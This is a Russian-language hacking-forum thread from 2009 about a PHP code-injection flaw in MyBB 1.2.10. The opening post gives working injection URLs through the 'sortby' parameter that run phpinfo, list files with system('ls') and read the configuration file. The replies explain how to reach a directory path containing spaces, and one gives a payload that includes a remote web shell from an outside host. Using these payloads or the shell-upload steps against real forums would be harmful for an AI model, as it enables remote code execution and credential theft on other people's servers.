HOME FORUMS MEMBERS RECENT POSTS LOG IN  
× Авторизация
Имя пользователя:
Пароль:
Нет аккаунта? Регистрация
Баннер 1   Баннер 2
НОВЫЕ ТОРГОВАЯ НОВОСТИ ЧАТ
loading...
Скрыть
Вернуться   ANTICHAT > ОФФТОП > Болталка
Перезагрузить страницу Php Inj в Mybb 1.2.10
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

Php Inj в Mybb 1.2.10
  #1  
Старый 20.10.2009, 07:36
TreV@N
Участник форума
Регистрация: 14.07.2008
Сообщений: 117
С нами: 9382468

Репутация: 104
По умолчанию Php Inj в Mybb 1.2.10
Здравствуйте.Есть уязвимость в mybb 1.210 такого вида

Код:
http://localhost/mybb.1.2.10/forumdisplay.php?fid=2&sortby='];phpinfo();exit;//  
http://localhost/mybb.1.2.10/forumdisplay.php?fid=2&sortby='];system('ls');exit;// 
http://localhost/mybb.1.2.10/forumdisplay.php?fid=2&sortby='];readfile('inc/config.php');exit;//

Но когда я пытаюсь зайти в папку С:\\Program files\(Папки с пробелом) он почему то не заходит(пишет разные символы).В чем проблема?Как можно заменить пробел?Доступ к диску C:\ есть(Сайт стоит на denwer'e).

И ишо вопрос как можно залить шелл?
𝕏 Twitter Reddit Telegram Копировать ссылку
 
Ответить с цитированием

  #2  
Старый 20.10.2009, 07:41
Aртем
Познающий
Регистрация: 18.10.2009
Сообщений: 68
С нами: 8717851

Репутация: 90
По умолчанию
В чем проблема залить шелл?
Узнай полный путь до каталога который видно с веба (на который у тебя хватит прав) и залей. Попробуй так: C:\PROGRA~1\[директория сервера]

Либо залей в корень диска С: пхп файл и проинклюдь его самостоятельно
 
Ответить с цитированием

  #3  
Старый 20.10.2009, 08:44
TreV@N
Участник форума
Регистрация: 14.07.2008
Сообщений: 117
С нами: 9382468

Репутация: 104
По умолчанию
Путь я знаю.Какими командами залить шелл?
 
Ответить с цитированием

  #4  
Старый 20.10.2009, 10:40
Nelzone
Постоянный
Регистрация: 12.04.2008
Сообщений: 403
С нами: 9515846

Репутация: 261
По умолчанию
TreV@N тебе в другой раздел
 
Ответить с цитированием

  #5  
Старый 20.10.2009, 10:54
TreV@N
Участник форума
Регистрация: 14.07.2008
Сообщений: 117
С нами: 9382468

Репутация: 104
По умолчанию
Какой?И чем тебя этот не устраевает?
 
Ответить с цитированием

  #6  
Старый 20.10.2009, 10:55
Nelzone
Постоянный
Регистрация: 12.04.2008
Сообщений: 403
С нами: 9515846

Репутация: 261
По умолчанию
Цитата:
Сообщение от TreV@N  
Какой?И чем тебя этот не устраевает?
http://forum.antichat.ru/forum16.html
 
Ответить с цитированием

  #7  
Старый 20.10.2009, 15:42
1NtR0
Участник форума
Регистрация: 14.04.2007
Сообщений: 197
С нами: 10039659

Репутация: 209
По умолчанию
Цитата:
http://localhost/mybb.1.2.10/forumdisplay.php?fid=2&sortby='];include('http://site.com/shell.txt');exit;//
узнать диру:
Цитата:
http://localhost/mybb.1.2.10/forumdisplay.php?fid=2&sortby='];echo getcwd();exit;//
 
Ответить с цитированием

  #8  
Старый 20.10.2009, 16:33
TreV@N
Участник форума
Регистрация: 14.07.2008
Сообщений: 117
С нами: 9382468

Репутация: 104
По умолчанию
Спасибо.По первому вопросу подскажите.
 
Ответить с цитированием
Ответ



« Предыдущая тема | Следующая тема »
Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Books PHP FRAGNATIC PHP 186 21.02.2010 02:41



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT ™ © 2001- Antichat Kft.

×

Создать сделку

Продавец: ник или ID

Название сделки:

Сумма USDT:

Срок сделки, дней:

Кто платит комиссию:

Условия сделки:

После создания сделки средства будут зарезервированы в холде до завершения сделки.

×

Мои сделки

Загрузка...
×

Сделка

Загрузка чата...